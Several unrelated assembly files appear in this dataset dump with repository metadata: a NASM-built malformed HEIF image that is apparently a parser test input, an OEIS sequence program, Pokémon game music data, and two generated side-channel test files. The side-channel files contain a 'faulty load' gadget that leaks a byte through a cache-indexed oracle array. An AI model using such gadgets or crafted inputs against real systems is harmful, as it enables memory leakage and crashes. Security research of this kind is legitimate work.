] | 2 | 2020-11-05T01:41:08.000Z | 2021-11-19T13:12:35.000Z | %define BE(a) ( ((((a)>>24)&0xFF) << 0) + ((((a)>>16)&0xFF) << 8) + ((((a)>>8)&0xFF) << 16) + ((((a)>>0)&0xFF) << 24) )
ftyp_start:
dd BE(ftyp_end - ftyp_start)
db "ftyp"
db "isom"
dd BE(0x00)
db "mif1", "miaf"
ftyp_end:
meta_start:
dd BE(meta_end - meta_start)
db "meta"
dd BE(0)
hdlr_start:
dd BE(hdlr_end - hdlr_start)
db "hdlr"
db 0x00 ; version(8)
db 0x00, 0x00, 0x00 ; flags(24)
db 0x00, 0x00, 0x00, 0x00 ; pre_defined(32)
db 0x70, 0x69, 0x63, 0x74 ; handler_type(32) ('pict')
db 0x00, 0x00, 0x00, 0x00 ; reserved1(32)
db 0x00, 0x00, 0x00, 0x00 ; reserved2(32)
db 0x00, 0x00, 0x00, 0x00 ; reserved3(32)
db 0x00 ; name(8)
hdlr_end:
pitm_start:
dd BE(pitm_end - pitm_start)
db "pitm"
dd BE(0)
db 0xaa, 0xbb
pitm_end:
iloc_start:
dd BE(iloc_end - iloc_start)
db "iloc"
dd BE(0x01000000)
dd BE(2) ; 2 items
dd BE(0x00030000) ; construction_method(1)
dw 0
dw 0
dd BE(0x00040000) ; construction_method(1)
dw 0
dw 0
iloc_end:
iref_start:
dd BE(iref_end - iref_start)
db "iref"
db 0x01, 0x00, 0x00, 0x00 ; version=1
thmb_start:
dd BE(thmb_end - thmb_start)
dd "thmb"
dd BE(3) ; from_item_ID
db 0x00, 0x01 ; reference_count
dd BE(4) ; to_item_ID
thmb_end:
iref_end:
iinf_start:
dd BE(iinf_end - iinf_start)
db "iinf"
dd BE(0)
db 0x00, 0x00
iinf_end:
iprp_start:
dd BE(iprp_end - iprp_start)
db "iprp"
ipco_start:
dd BE(ipco_end - ipco_start)
db "ipco"
ispe_start:
dd BE(ispe_end - ispe_start)
db "ispe"
dd 0
dd BE(1), BE(1) ; width, height
ispe_end:
ispe2_start:
dd BE(ispe2_end - ispe2_start)
db "ispe"
dd 0
dd BE(1000), BE(1000) ; width, height
ispe2_end:
ipco_end:
ipma_start:
dd BE(ipma_end - ipma_start)
dd "ipma"
db 0x00 ; "version(8)"
db 0x00, 0x00, 0x00 ; "flags(24)"
db 0x00, 0x00, 0x00, 0x02 ; "entry_count(32)"
db 0x00, 0x03 ; "item_ID(16)"
db 0x01 ; "association_count(8)"
db 0x82 ; "essential(1)" "property_index(7)"
db 0x00, 0x04 ; "item_ID(16)"
db 0x01 ; "association_count(8)"
db 0x81 ; "essential(1)" "property_index(7)"
ipma_end:
iprp_end:
meta_end:
; vim: syntax=nasm
| 19.138889 | 120 | 0.661345 |
66b223e9dadb7dfa5765e25f52f35b5dfb7a165d | 1,225 | asm | Assembly | programs/oeis/038/A038845.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 22 | 2018-02-06T19:19:31.000Z | 2022-01-17T21:53:31.000Z | programs/oeis/038/A038845.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 41 | 2021-02-22T19:00:34.000Z | 2021-08-28T10:47:47.000Z | programs/oeis/038/A038845.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 5 | 2021-02-24T21:14:16.000Z | 2021-08-09T19:48:05.000Z | ; A038845: 3-fold convolution of A000302 (powers of 4).
; 1,12,96,640,3840,21504,114688,589824,2949120,14417920,69206016,327155712,1526726656,7046430720,32212254720,146028888064,657129996288,2937757630464,13056700579840,57724360458240,253987186016256,1112705767309312,4855443348258816,21110623253299200,91479367430963200,395190867301761024,1702360659146047488,7313845794849685504,31345053406498652160,134027124910545960960,571849066284996100096,2434970217729660813312,10348623425351058456576,43903250895428732846080,185943180262992280289280,786274019397795928080384,3319823637457360585228288,13997094255225628413394944,58935133706213172266926080,247829793020998980814766080,1040885130688195719422017536,4366640060448040579038707712,18298301205687027188352679936,76597539930782904509383311360,320316985165092146130148392960,1338213182467496077165953286144,5585585457255635800344848498688,23293079779193715252501921398784,97054499079973813552091339161600,404063628822748121727074146713600,1680904695902632186384628450328576,6987290108458000461049828068032512,29024128142825540376668516590288896,120477513045690922318246672638935040,499758572633977159246060271687434240
add $0,2
mov $1,4
pow $1,$0
bin $0,2
mul $0,$1
div $0,16
| 122.5 | 1,110 | 0.919184 |
8dee38b572a4b8e7b3186c0d2f6d3f7566a2f1ce | 6,827 | asm | Assembly | Transynther/x86/_processed/NONE/_xt_/i7-8650U_0xd2_notsx.log_10724_1502.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 9 | 2020-08-13T19:41:58.000Z | 2022-03-30T12:22:51.000Z | Transynther/x86/_processed/NONE/_xt_/i7-8650U_0xd2_notsx.log_10724_1502.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 1 | 2021-04-29T06:29:35.000Z | 2021-05-13T21:02:30.000Z | Transynther/x86/_processed/NONE/_xt_/i7-8650U_0xd2_notsx.log_10724_1502.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 3 | 2020-07-14T17:07:07.000Z | 2022-03-21T01:12:22.000Z | .global s_prepare_buffers
s_prepare_buffers:
push %r10
push %r12
push %r15
push %rbp
push %rcx
push %rdi
push %rdx
push %rsi
lea addresses_UC_ht+0xea22, %rsi
nop
nop
nop
nop
add %rbp, %rbp
movb (%rsi), %r12b
nop
nop
nop
nop
sub %rdx, %rdx
lea addresses_normal_ht+0x1d5d0, %r15
nop
nop
dec %rbp
movl $0x61626364, (%r15)
nop
nop
nop
nop
nop
cmp $64100, %rsi
lea addresses_normal_ht+0xb893, %rdi
xor %r10, %r10
vmovups (%rdi), %ymm5
vextracti128 $0, %ymm5, %xmm5
vpextrq $0, %xmm5, %rdx
nop
nop
inc %rdi
lea addresses_normal_ht+0x12748, %rsi
lea addresses_A_ht+0x18590, %rdi
clflush (%rdi)
nop
nop
nop
sub %rdx, %rdx
mov $58, %rcx
rep movsl
nop
and $35930, %r10
lea addresses_D_ht+0x116d0, %rsi
lea addresses_A_ht+0x5e00, %rdi
nop
nop
xor $30960, %r15
mov $103, %rcx
rep movsw
nop
nop
nop
nop
nop
inc %rdi
lea addresses_WT_ht+0x1ee70, %r10
nop
cmp $60115, %rdi
vmovups (%r10), %ymm7
vextracti128 $1, %ymm7, %xmm7
vpextrq $0, %xmm7, %rbp
sub $17668, %r10
lea addresses_A_ht+0x54d0, %rsi
lea addresses_WT_ht+0x13ad0, %rdi
nop
nop
nop
nop
nop
xor $24238, %r15
mov $69, %rcx
rep movsq
nop
and %rdx, %rdx
lea addresses_D_ht+0x49f0, %rbp
nop
cmp %r12, %r12
mov (%rbp), %edx
add $2730, %r10
lea addresses_WC_ht+0x26f0, %rsi
lea addresses_A_ht+0x250, %rdi
nop
nop
nop
and %r12, %r12
mov $89, %rcx
rep movsq
nop
nop
nop
nop
nop
and %rcx, %rcx
lea addresses_UC_ht+0x1c308, %rdx
nop
nop
nop
and $8677, %r12
movups (%rdx), %xmm5
vpextrq $1, %xmm5, %rbp
nop
nop
nop
nop
nop
dec %rsi
lea addresses_normal_ht+0x5040, %r10
nop
nop
nop
nop
xor $50173, %rdi
movups (%r10), %xmm1
vpextrq $1, %xmm1, %rbp
nop
nop
nop
lfence
pop %rsi
pop %rdx
pop %rdi
pop %rcx
pop %rbp
pop %r15
pop %r12
pop %r10
ret
.global s_faulty_load
s_faulty_load:
push %r10
push %r14
push %r9
push %rbp
push %rbx
push %rcx
push %rdi
// Faulty Load
lea addresses_WT+0x1e0d0, %rbp
nop
nop
nop
and %rbx, %rbx
movb (%rbp), %cl
lea oracles, %rbx
and $0xff, %rcx
shlq $12, %rcx
mov (%rbx,%rcx,1), %rcx
pop %rdi
pop %rcx
pop %rbx
pop %rbp
pop %r9
pop %r14
pop %r10
ret
/*
<gen_faulty_load>
[REF]
{'OP': 'LOAD', 'src': {'type': 'addresses_WT', 'size': 32, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': False}}
[Faulty Load]
{'OP': 'LOAD', 'src': {'type': 'addresses_WT', 'size': 1, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': True}}
<gen_prepare_buffer>
{'OP': 'LOAD', 'src': {'type': 'addresses_UC_ht', 'size': 1, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_normal_ht', 'size': 4, 'AVXalign': False, 'NT': False, 'congruent': 8, 'same': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_normal_ht', 'size': 32, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_normal_ht', 'congruent': 3, 'same': True}, 'dst': {'type': 'addresses_A_ht', 'congruent': 5, 'same': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_D_ht', 'congruent': 9, 'same': False}, 'dst': {'type': 'addresses_A_ht', 'congruent': 4, 'same': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_WT_ht', 'size': 32, 'AVXalign': False, 'NT': False, 'congruent': 5, 'same': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_A_ht', 'congruent': 10, 'same': False}, 'dst': {'type': 'addresses_WT_ht', 'congruent': 9, 'same': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_D_ht', 'size': 4, 'AVXalign': False, 'NT': False, 'congruent': 5, 'same': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_WC_ht', 'congruent': 1, 'same': False}, 'dst': {'type': 'addresses_A_ht', 'congruent': 4, 'same': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_UC_ht', 'size': 16, 'AVXalign': False, 'NT': False, 'congruent': 2, 'same': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_normal_ht', 'size': 16, 'AVXalign': False, 'NT': False, 'congruent': 2, 'same': False}}
{'39': 10724}
39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39
*/
| 35.931579 | 2,999 | 0.659733 |
df60e9eb0a80ce342bc0c0e6ad46d04730d91759 | 8,607 | asm | Assembly | audio/music/ecruteakcity.asm | Dev727/ancientplatinum | 8b212a1728cc32a95743e1538b9eaa0827d013a7 | [
"blessing"
] | 28 | 2019-11-08T07:19:00.000Z | 2021-12-20T10:17:54.000Z | audio/music/ecruteakcity.asm | Dev727/ancientplatinum | 8b212a1728cc32a95743e1538b9eaa0827d013a7 | [
"blessing"
] | 13 | 2020-01-11T17:00:40.000Z | 2021-09-14T01:27:38.000Z | audio/music/ecruteakcity.asm | Dev727/ancientplatinum | 8b212a1728cc32a95743e1538b9eaa0827d013a7 | [
"blessing"
] | 22 | 2020-05-28T17:31:38.000Z | 2022-03-07T20:49:35.000Z | Music_EcruteakCity:
musicheader 3, 1, Music_EcruteakCity_Ch1
musicheader 1, 2, Music_EcruteakCity_Ch2
musicheader 1, 3, Music_EcruteakCity_Ch3
Music_EcruteakCity_Ch1:
tempo 197
volume $77
stereopanning $f
vibrato $12, $25
dutycycle $2
Music_EcruteakCity_branch_ef2e5:
notetype $c, $57
note __, 10
octave 4
note C_, 6
note __, 10
note C_, 6
note __, 16
octave 3
note B_, 4
octave 4
note C_, 4
note D_, 4
intensity $60
note __, 4
note __, 16
note __, 10
note G_, 2
note A_, 2
note A#, 2
note __, 8
note G#, 2
note G_, 2
note F_, 2
octave 5
note C_, 6
notetype $6, $67
note C#, 4
note D_, 10
note __, 2
stereopanning $ff
octave 4
note B_, 8
stereopanning $f
octave 3
note A#, 1
note B_, 11
octave 4
note C_, 4
note E_, 4
note G_, 12
note A#, 12
note G_, 4
note __, 4
note A#, 4
octave 5
note C#, 4
note E_, 2
note __, 2
octave 3
note A_, 8
octave 4
note C_, 8
note F_, 4
note __, 12
note E_, 1
note F_, 11
note G_, 2
note __, 2
note A_, 4
note G_, 4
note __, 8
intensity $52
callchannel Music_EcruteakCity_branch_ef37f
note D_, 2
octave 4
note B_, 2
note A_, 2
note B_, 2
note A_, 2
note B_, 2
octave 5
note D_, 2
octave 4
note B_, 2
octave 5
note D_, 2
octave 4
note B_, 2
note A_, 2
note B_, 2
note A_, 2
note B_, 2
note A_, 2
note B_, 2
callchannel Music_EcruteakCity_branch_ef391
intensity $52
note A#, 2
note G_, 2
note E_, 2
note C#, 2
note G_, 2
note E_, 2
note C#, 2
octave 4
note A#, 2
octave 5
note E_, 2
note C#, 2
octave 4
note A#, 2
note G_, 2
note A#, 2
note G_, 2
note E_, 2
note C#, 2
callchannel Music_EcruteakCity_branch_ef37f
note D_, 2
note C_, 2
octave 4
note G#, 2
octave 5
note C_, 2
octave 4
note G#, 2
octave 5
note C_, 2
note D_, 2
note C_, 2
note D_, 2
note C_, 2
octave 4
note G#, 2
octave 5
note C_, 2
octave 4
note G#, 2
octave 5
note C_, 2
octave 4
note G#, 2
octave 5
note C_, 2
callchannel Music_EcruteakCity_branch_ef391
loopchannel 0, Music_EcruteakCity_branch_ef2e5
Music_EcruteakCity_branch_ef37f:
octave 5
note E_, 2
note C_, 2
octave 4
note A_, 2
octave 5
note C_, 2
octave 4
note A_, 2
octave 5
note C_, 2
note E_, 2
note C_, 2
loopchannel 2, Music_EcruteakCity_branch_ef37f
endchannel
Music_EcruteakCity_branch_ef391:
octave 5
note D_, 2
octave 4
note B_, 2
note G_, 2
note B_, 2
note G_, 2
note B_, 2
octave 5
note D_, 2
octave 4
note B_, 2
octave 5
note D_, 2
octave 4
note B_, 2
note G_, 2
note B_, 2
note G_, 2
note B_, 2
octave 5
note D_, 2
note F_, 2
note A_, 2
note E_, 2
note C_, 2
octave 4
note A_, 2
octave 5
note E_, 2
note C_, 2
octave 4
note A_, 2
note E_, 2
octave 5
note C_, 2
octave 4
note A_, 2
note E_, 2
note C_, 2
note A_, 2
note E_, 2
note C_, 2
octave 3
note A_, 2
Music_EcruteakCity_branch_ef3be:
octave 4
note F_, 2
note A_, 2
octave 5
note C_, 2
octave 4
note A_, 2
octave 5
note C_, 2
octave 4
note A_, 2
octave 5
note C_, 2
note F_, 2
loopchannel 2, Music_EcruteakCity_branch_ef3be
Music_EcruteakCity_branch_ef3d0:
octave 4
note G_, 2
note B_, 2
octave 5
note D_, 2
octave 4
note B_, 2
octave 5
note D_, 2
octave 4
note B_, 2
octave 5
note D_, 2
note G_, 2
loopchannel 2, Music_EcruteakCity_branch_ef3d0
intensity $50
dutycycle $0
note E_, 16
note G_, 16
dutycycle $2
endchannel
Music_EcruteakCity_Ch2:
vibrato $12, $25
dutycycle $3
stereopanning $f0
Music_EcruteakCity_branch_ef3f2:
notetype $6, $67
note __, 16
note __, 5
octave 4
note G_, 1
octave 5
note D_, 1
note E_, 9
note __, 16
note __, 5
octave 4
note A_, 1
octave 5
note E_, 1
note F_, 9
notetype $c, $77
note __, 10
note D_, 2
note C_, 2
octave 4
note G#, 2
note G_, 4
note A_, 4
note B_, 4
notetype $6, $93
intensity $97
dutycycle $2
octave 3
note G_, 7
octave 4
note C#, 1
note D_, 11
note __, 1
note C_, 2
note __, 2
note C_, 16
note F_, 8
note __, 4
note E_, 4
note __, 4
note E_, 4
note F_, 4
note G_, 4
note E_, 4
note C_, 2
note __, 2
note C_, 4
octave 3
note A_, 2
note F_, 1
note A_, 1
octave 4
note C_, 16
note E_, 4
note G_, 2
note __, 2
note E_, 4
note D_, 10
note __, 1
stereopanning $ff
note D#, 9
stereopanning $f0
dutycycle $0
octave 5
note C#, 1
note D_, 11
note C_, 2
note __, 2
note C_, 16
note F_, 12
note E_, 4
note __, 4
note E_, 4
note F_, 4
note G_, 2
octave 4
note A_, 1
octave 5
note C_, 1
note E_, 1
note A_, 3
note E_, 2
note __, 2
note E_, 4
note C_, 2
note __, 2
note C_, 4
octave 4
note A_, 2
note __, 2
note B_, 4
octave 5
note C_, 2
octave 4
note G_, 1
note B_, 1
octave 5
note D#, 1
note E_, 11
note D_, 2
note __, 2
note D_, 8
dutycycle $1
octave 4
note E_, 4
note G_, 3
note G#, 1
note A_, 16
octave 3
note A_, 4
octave 4
note C_, 2
note __, 2
note E_, 4
note D_, 12
note C_, 4
note __, 4
octave 3
note B_, 4
note __, 4
octave 4
note F_, 8
note G_, 12
note F_, 8
note __, 4
note E_, 8
note D_, 4
note C_, 2
note __, 2
octave 3
note B_, 4
octave 4
note C_, 2
note __, 6
octave 3
note B_, 4
note __, 4
octave 4
note C_, 4
octave 3
note A_, 16
note __, 4
octave 4
note F_, 4
note E_, 4
note D_, 4
note C_, 12
octave 3
note B_, 4
note __, 4
octave 4
note C_, 4
note D_, 4
note D#, 4
notetype $c, $83
note E_, 16
intensity $80
note D_, 4
note C#, 4
note F_, 4
notetype $6, $80
note G_, 7
note G#, 1
intensity $87
note A_, 12
note E_, 2
note __, 2
note E_, 2
note __, 2
note E_, 3
note G#, 1
note A_, 4
note E_, 2
note __, 2
note E_, 4
note D_, 2
note __, 2
note C#, 4
note D_, 12
octave 3
note B_, 4
octave 4
note F_, 4
note G_, 12
note D_, 2
note __, 2
note D_, 2
note __, 2
note D_, 4
note G_, 4
note D_, 2
note __, 1
note A#, 1
note B_, 12
octave 5
note C_, 4
octave 4
note A_, 8
octave 3
note A_, 4
octave 4
note C_, 4
notetype $c, $87
note F_, 10
note G_, 2
note F_, 2
note E_, 2
note D_, 8
note __, 2
octave 3
note B_, 2
octave 4
note C_, 2
note D_, 2
note E_, 16
loopchannel 0, Music_EcruteakCity_branch_ef3f2
Music_EcruteakCity_Ch3:
stereopanning $ff
Music_EcruteakCity_branch_ef4e3:
vibrato $12, $25
notetype $c, $25
octave 3
note C_, 2
note G_, 2
octave 4
note D_, 2
note E_, 10
octave 3
note C_, 2
note A_, 2
octave 4
note E_, 2
note F_, 10
octave 3
note C_, 2
note G_, 2
octave 4
note D_, 2
note E_, 10
note G_, 4
note F#, 4
note F_, 4
octave 3
note B_, 2
note G_, 2
note C_, 2
note G_, 2
octave 4
note D_, 2
note E_, 10
octave 3
note C#, 2
note G_, 2
note A#, 2
octave 4
note D_, 2
note __, 2
note C#, 2
note D_, 2
note E_, 2
octave 3
note D_, 2
note A_, 1
note __, 1
octave 4
note E_, 2
note F_, 1
note __, 1
note G#, 8
octave 3
note G_, 2
octave 4
note D_, 2
note F_, 2
note G#, 2
note B_, 2
note G_, 1
note G#, 5
octave 3
note C_, 2
note G_, 2
octave 4
note D_, 2
note E_, 2
note G_, 2
octave 5
note C_, 2
note D_, 2
note E_, 2
octave 3
note C#, 2
note A#, 2
octave 4
note D_, 2
note C#, 2
note E_, 2
note D_, 2
note F_, 2
note G_, 1
note __, 1
octave 3
note F_, 8
octave 4
note A_, 2
octave 5
note C_, 1
note __, 1
note D_, 2
note E_, 1
note __, 1
octave 2
note G_, 2
octave 3
note D_, 2
note G_, 2
note F#, 2
note A_, 2
note G_, 2
note B_, 2
octave 4
note D_, 2
callchannel Music_EcruteakCity_branch_ef569
octave 4
note C_, 8
note E_, 8
note G_, 8
note B_, 8
note A#, 8
note G_, 8
note E_, 8
note C#, 8
notetype $c, $25
callchannel Music_EcruteakCity_branch_ef569
octave 4
note C_, 8
octave 3
note G_, 8
note E_, 8
note D_, 8
loopchannel 0, Music_EcruteakCity_branch_ef4e3
Music_EcruteakCity_branch_ef569:
octave 3
note F_, 4
note __, 2
note F_, 1
note __, 1
note F_, 4
note __, 2
note C_, 1
note __, 1
note F_, 4
note __, 2
note F_, 1
note __, 1
note F_, 1
note __, 1
note F_, 2
note __, 2
note F_, 1
note __, 1
note E_, 4
note __, 2
note B_, 1
note __, 1
note E_, 1
note __, 1
note E_, 2
note __, 2
note B_, 1
note __, 1
note A_, 4
note __, 2
note A_, 1
note __, 1
note G#, 1
note __, 1
note G#, 1
note __, 1
note G_, 1
note __, 1
note F#, 1
note __, 1
note D_, 4
note __, 2
note A_, 1
note __, 1
note D_, 1
note __, 1
note D_, 1
note __, 1
note E_, 1
note __, 1
note F_, 1
note __, 1
note G_, 4
note __, 2
octave 4
note D_, 1
note __, 1
octave 3
note G_, 1
note __, 1
note G_, 1
note __, 1
note A_, 1
note __, 1
note A#, 1
notetype $6, $25
note __, 1
note B_, 1
endchannel
| 12.884731 | 47 | 0.644359 |
b8a9711717a0c0ef0ac649973f2ec0cdd36ebb4c | 4,809 | asm | Assembly | Transynther/x86/_processed/NONE/_xt_/i3-7100_9_0xca_notsx.log_21829_1057.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 9 | 2020-08-13T19:41:58.000Z | 2022-03-30T12:22:51.000Z | Transynther/x86/_processed/NONE/_xt_/i3-7100_9_0xca_notsx.log_21829_1057.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 1 | 2021-04-29T06:29:35.000Z | 2021-05-13T21:02:30.000Z | Transynther/x86/_processed/NONE/_xt_/i3-7100_9_0xca_notsx.log_21829_1057.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 3 | 2020-07-14T17:07:07.000Z | 2022-03-21T01:12:22.000Z | .global s_prepare_buffers
s_prepare_buffers:
push %r12
push %r13
push %r9
push %rbx
push %rcx
push %rdi
push %rsi
lea addresses_UC_ht+0x19bf5, %r9
nop
nop
nop
add $7471, %rbx
mov (%r9), %rdi
nop
and %r9, %r9
lea addresses_normal_ht+0x6e75, %rsi
lea addresses_D_ht+0xba75, %rdi
nop
cmp %r13, %r13
mov $32, %rcx
rep movsl
nop
add %r13, %r13
lea addresses_WT_ht+0x6e85, %r13
clflush (%r13)
cmp %r12, %r12
movb $0x61, (%r13)
nop
nop
nop
inc %rcx
lea addresses_WC_ht+0x1685, %rsi
lea addresses_normal_ht+0xe35b, %rdi
dec %rbx
mov $63, %rcx
rep movsl
nop
nop
nop
cmp %rbx, %rbx
pop %rsi
pop %rdi
pop %rcx
pop %rbx
pop %r9
pop %r13
pop %r12
ret
.global s_faulty_load
s_faulty_load:
push %r12
push %r13
push %r14
push %r9
push %rbp
// Faulty Load
lea addresses_UC+0x275, %rbp
nop
nop
cmp $36601, %r14
mov (%rbp), %r9d
lea oracles, %r12
and $0xff, %r9
shlq $12, %r9
mov (%r12,%r9,1), %r9
pop %rbp
pop %r9
pop %r14
pop %r13
pop %r12
ret
/*
<gen_faulty_load>
[REF]
{'src': {'same': False, 'congruent': 0, 'NT': True, 'type': 'addresses_UC', 'size': 1, 'AVXalign': True}, 'OP': 'LOAD'}
[Faulty Load]
{'src': {'same': True, 'congruent': 0, 'NT': False, 'type': 'addresses_UC', 'size': 4, 'AVXalign': False}, 'OP': 'LOAD'}
<gen_prepare_buffer>
{'src': {'same': False, 'congruent': 7, 'NT': True, 'type': 'addresses_UC_ht', 'size': 8, 'AVXalign': False}, 'OP': 'LOAD'}
{'src': {'type': 'addresses_normal_ht', 'congruent': 8, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_D_ht', 'congruent': 11, 'same': False}}
{'OP': 'STOR', 'dst': {'same': False, 'congruent': 4, 'NT': False, 'type': 'addresses_WT_ht', 'size': 1, 'AVXalign': False}}
{'src': {'type': 'addresses_WC_ht', 'congruent': 1, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_normal_ht', 'congruent': 1, 'same': False}}
{'37': 21829}
37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 